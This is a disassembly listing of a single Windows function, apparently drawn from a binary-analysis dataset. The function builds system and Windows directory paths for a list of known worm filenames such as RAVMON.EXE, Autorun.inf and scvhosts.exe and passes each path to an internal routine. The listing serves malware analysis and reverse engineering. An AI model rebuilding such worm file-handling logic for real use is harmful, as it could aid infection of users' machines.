Function at 0x404ae0
Capabilities:
Get common file path

Disassembly:
mov eax, 0x28dc
call fcn.0040d880
mov eax, dword [str.killVBS.vbs]
mov ecx, dword [0x4174b8]
mov edx, dword [0x4174bc]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x1100], eax
mov dword [esp + 0x1104], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x110c]
mov dword [esp + 0x1108], edx
mov dx, word [0x417230]
rep stosd dword es:[edi], eax
mov ecx, dword [0x41722c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.temp1.exe]
mov dword [esp + 0x1203], ecx
mov dword [esp + 0x11ff], eax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1209]
mov word [esp + 0x1207], dx
mov dx, word [0x417224]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417220]
stosb byte es:[edi], al
mov eax, dword [str.temp2.exe]
mov dword [esp + 0x1302], ecx
mov dword [esp + 0x12fe], eax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1308]
mov word [esp + 0x1306], dx
mov dx, word [0x4174b0]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4174ac]
stosb byte es:[edi], al
mov eax, dword [str.SocksA.exe]
mov dword [esp + 0x1401], ecx
mov dword [esp + 0x13fd], eax
mov al, byte [0x4174b2]
mov byte [esp + 0x1407], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1408]
mov word [esp + 0x1405], dx
mov edx, dword [0x4174a0]
rep stosd dword es:[edi], eax
mov ecx, dword [str.algsrv.exe]
mov ax, word [0x4174a4]
mov dword [esp + 0x14fc], ecx
mov cl, byte [0x4174a6]
mov word [esp + 0x1504], ax
mov byte [esp + 0x1506], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1507]
mov dword [esp + 0x1500], edx
mov edx, dword [str.FileKan.exe]
rep stosd dword es:[edi], eax
mov eax, dword [0x417494]
mov ecx, dword [0x417498]
mov dword [esp + 0x15ff], eax
mov dword [esp + 0x1603], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1607]
mov dword [esp + 0x15fb], edx
rep stosd dword es:[edi], eax
mov edx, dword [str.algsrvs.exe]
mov ecx, dword [0x41748c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417488]
mov dword [esp + 0x16fa], edx
mov dword [esp + 0x16fe], eax
mov dword [esp + 0x1702], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1706]
rep stosd dword es:[edi], eax
mov edx, dword [str.algssl.exe]
mov cx, word [0x417480]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x41747c]
mov dword [esp + 0x17f9], edx
mov dl, byte [0x417482]
mov dword [esp + 0x17fd], eax
mov word [esp + 0x1801], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1804]
mov byte [esp + 0x1803], dl
mov edx, dword [0x417474]
rep stosd dword es:[edi], eax
mov eax, dword [str.msfir80.exe]
mov ecx, dword [0x417470]
mov dword [esp + 0x18f8], eax
mov dword [esp + 0x18fc], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1904]
mov dword [esp + 0x1900], edx
rep stosd dword es:[edi], eax
mov ecx, dword [0x417464]
mov edx, dword [0x417468]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.msime80.exe]
mov dword [esp + 0x19fb], ecx
mov dword [esp + 0x19f7], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1a03]
mov dword [esp + 0x19ff], edx
mov edx, dword [0x41745c]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417458]
mov esi, dword [0x417448]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.msnmsgr.exe]
mov dword [esp + 0x1afa], ecx
mov dword [esp + 0x1af6], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1b02]
mov dword [esp + 0x1afe], edx
mov dx, word [0x4171f4]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x4171f0]
mov ebp, dword [0x41744c]
stosb byte es:[edi], al
mov eax, dword [str.system.exe]
mov bl, byte [0x417450]
mov dword [esp + 0x1bf5], eax
mov al, byte [0x4171f6]
mov dword [esp + 0x1bf9], ecx
mov byte [esp + 0x1bff], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x1c00]
mov word [esp + 0x1bfd], dx
mov edx, dword [str.scvhosts.exe]
rep stosd dword es:[edi], eax
mov ecx, 0x3c
lea edi, [esp + 0x1d01]
mov dword [esp + 0x1cf4], edx
mov dword [esp + 0x1cf8], esi
mov dword [esp + 0x1cfc], ebp
mov byte [esp + 0x1d00], bl
rep stosd dword es:[edi], eax
mov ecx, dword [str.scvvhosts.exe]
stosw word es:[edi], ax
mov dword [esp + 0x1df3], ecx
mov eax, dword [0x417438]
mov ecx, dword [0x41743c]
mov dword [esp + 0x1df7], eax
mov ax, word [0x417440]
mov dword [esp + 0x1dfb], ecx
mov word [esp + 0x1dff], ax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1e01]
rep stosd dword es:[edi], eax
mov ecx, dword [str.SCVHSOT.exe]
stosb byte es:[edi], al
mov eax, dword [0x41742c]
mov dword [esp + 0x1ef2], ecx
mov ecx, dword [0x417430]
mov dword [esp + 0x1ef6], eax
mov dword [esp + 0x1efa], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1efe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x41741c]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [str.SCVVHSOT.exe]
mov dword [esp + 0x1ff5], ecx
mov cl, byte [0x417424]
mov dword [esp + 0x1ff1], eax
mov eax, dword [0x417420]
mov byte [esp + 0x1ffd], cl
mov dword [esp + 0x1ff9], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1ffe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417410]
stosw word es:[edi], ax
mov eax, dword [str.SCVHOST.exe]
mov dword [esp + 0x20f4], ecx
mov dword [esp + 0x20f0], eax
mov eax, dword [0x417414]
mov dword [esp + 0x20f8], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x20fc]
rep stosd dword es:[edi], eax
mov ecx, dword [str.SCVVHOST.exe]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417400]
mov dword [esp + 0x21ef], ecx
mov ecx, dword [0x417404]
mov dword [esp + 0x21f3], eax
mov al, byte [0x417408]
mov dword [esp + 0x21f7], ecx
mov byte [esp + 0x21fb], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x21fc]
rep stosd dword es:[edi], eax
mov ecx, dword [str.bad1.exe]
stosw word es:[edi], ax
mov eax, dword [0x4173f4]
mov dword [esp + 0x22ee], ecx
mov cl, byte [0x4173f8]
mov dword [esp + 0x22f2], eax
mov byte [esp + 0x22f6], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x22f7]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4173e8]
stosw word es:[edi], ax
mov eax, dword [str.bad2.exe]
mov dword [esp + 0x23f1], ecx
mov dword [esp + 0x23ed], eax
mov al, byte [0x4173ec]
mov byte [esp + 0x23f5], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x23f6]
rep stosd dword es:[edi], eax
mov ecx, dword [str.bad3.exe]
stosw word es:[edi], ax
mov eax, dword [0x4173dc]
mov dword [esp + 0x24ec], ecx
mov cl, byte [0x4173e0]
mov dword [esp + 0x24f0], eax
mov byte [esp + 0x24f4], cl
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x24f5]
rep stosd dword es:[edi], eax
mov ecx, dword [0x41724c]
stosw word es:[edi], ax
mov eax, dword [str.msmsgs.exe]
mov dword [esp + 0x25ef], ecx
mov cl, byte [0x417252]
mov dword [esp + 0x25eb], eax
mov ax, word [0x417250]
mov byte [esp + 0x25f5], cl
mov word [esp + 0x25f3], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x25f6]
rep stosd dword es:[edi], eax
mov eax, dword [str.RUNDLL64.dll.vbs]
mov ecx, dword [0x4173c8]
mov dword [esp + 0x110], eax
mov eax, dword [0x4173cc]
mov dword [esp + 0x114], ecx
mov ecx, dword [0x4173d0]
mov dword [esp + 0x118], eax
mov al, byte [0x4173d4]
mov dword [esp + 0x11c], ecx
mov byte [esp + 0x120], al
mov ecx, 0x3b
xor eax, eax
lea edi, [esp + 0x121]
rep stosd dword es:[edi], eax
mov ecx, dword [str.RAVMON.EXE]
stosw word es:[edi], ax
mov eax, dword [0x4173bc]
mov dword [esp + 0x20f], ecx
mov cx, word [0x4173c0]
mov dword [esp + 0x213], eax
mov al, byte [0x4173c2]
mov word [esp + 0x217], cx
mov byte [esp + 0x219], al
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x21a]
rep stosd dword es:[edi], eax
mov ecx, dword [str.xcopy.exe]
mov eax, dword [0x4173b0]
mov dword [esp + 0x30e], ecx
mov cx, word [0x4173b4]
mov dword [esp + 0x312], eax
mov word [esp + 0x316], cx
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x318]
rep stosd dword es:[edi], eax
mov ecx, dword [0x4173a4]
stosb byte es:[edi], al
mov eax, dword [str.Svchost.exe]
mov dword [esp + 0x411], ecx
mov dword [esp + 0x40d], eax
mov eax, dword [0x4173a8]
mov dword [esp + 0x415], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x419]
rep stosd dword es:[edi], eax
mov ecx, dword [str.Autorun.inf]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417398]
mov dword [esp + 0x50c], ecx
mov ecx, dword [0x41739c]
mov dword [esp + 0x510], eax
mov dword [esp + 0x514], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x518]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x41738c]
stosb byte es:[edi], al
mov eax, dword [str.BACKINF.TAB]
mov dword [esp + 0x60f], ecx
mov dword [esp + 0x60b], eax
mov eax, dword [0x417390]
mov dword [esp + 0x613], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x617]
rep stosd dword es:[edi], eax
mov ecx, dword [str.session.exe]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x417380]
mov dword [esp + 0x70a], ecx
mov ecx, dword [0x417384]
mov dword [esp + 0x70e], eax
mov dword [esp + 0x712], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x716]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x417370]
stosb byte es:[edi], al
mov eax, dword [str.ufdata2000.log]
mov dword [esp + 0x80d], ecx
mov cx, word [0x417378]
mov dword [esp + 0x809], eax
mov eax, dword [0x417374]
mov word [esp + 0x815], cx
mov dword [esp + 0x811], eax
mov al, byte [0x41737a]
mov byte [esp + 0x817], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x818]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fuker.vbs]
mov eax, dword [0x417364]
mov dword [esp + 0x908], ecx
mov ecx, dword [0x417368]
mov dword [esp + 0x90c], eax
mov dword [esp + 0x910], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x914]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x417358]
stosb byte es:[edi], al
mov eax, dword [str.msdos.pif]
mov dword [esp + 0xa0b], ecx
mov dword [esp + 0xa07], eax
mov ax, word [0x41735c]
mov word [esp + 0xa0f], ax
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0xa11]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xb13]
mov dword [esp + 0xb06], edx
mov edx, dword [0x417438]
mov dword [esp + 0xb0a], esi
mov dword [esp + 0xb0e], ebp
mov byte [esp + 0xb12], bl
rep stosd dword es:[edi], eax
mov ecx, dword [str.scvvhosts.exe]
stosw word es:[edi], ax
mov eax, dword [0x41743c]
mov dword [esp + 0xc05], ecx
mov dword [esp + 0xc09], edx
mov cx, word [0x417440]
mov dword [esp + 0xc0d], eax
mov word [esp + 0xc11], cx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xc13]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417430]
mov edx, dword [str.SCVHSOT.exe]
stosb byte es:[edi], al
mov eax, dword [0x41742c]
mov dword [esp + 0xd0c], ecx
mov dword [esp + 0xd08], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xd10]
mov dword [esp + 0xd04], edx
mov edx, dword [str.SCVVHSOT.exe]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417420]
push 0xff
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x41741c]
mov dword [esp + 0xe07], edx
mov dl, byte [0x417424]
mov dword [esp + 0xe0b], eax
mov dword [esp + 0xe0f], ecx
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xe14]
mov byte [esp + 0xe13], dl
mov edx, dword [0x417414]
rep stosd dword es:[edi], eax
mov ecx, dword [0x417410]
stosw word es:[edi], ax
mov eax, dword [str.SCVHOST.exe]
mov dword [esp + 0xf0a], ecx
mov dword [esp + 0xf06], eax
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0xf12]
mov dword [esp + 0xf0e], edx
mov edx, dword [0x417404]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, dword [0x417400]
stosb byte es:[edi], al
mov eax, dword [str.SCVVHOST.exe]
mov dword [esp + 0x1009], ecx
mov dword [esp + 0x1005], eax
mov al, byte [0x417408]
mov byte [esp + 0x1011], al
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x1012]
mov dword [esp + 0x100d], edx
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x27f0]
push ecx
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea edx, [esp + 0x26ec]
push 0xff
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ebx, [esp + 0x1100]
mov ebp, 0x16
mov edi, 0x41b8cc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x27f0]
push ecx
push 0x41734c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x20]
push 1
push eax
push 0
call fcn.00402340
add esp, 0x1c
add ebx, 0xff
dec ebp
jne 0x402fb6
lea ebx, [esp + 0x110]
mov ebp, 0x10
mov edi, 0x41b8cc
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x14]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x26f0]
push ecx
push 0x41734c
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x20]
push 1
push eax
push 0
call fcn.00402340
add esp, 0x1c
add ebx, 0xff
dec ebp
jne 0x40301b
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28dc
ret
mov dword [0x41d7f4], 1
call fcn.00401c90
call fcn.00401f70
mov eax, dword [esp + 4]
push eax
push 0x41d6f8
call fcn.00403b70
add esp, 8
jmp 0x402650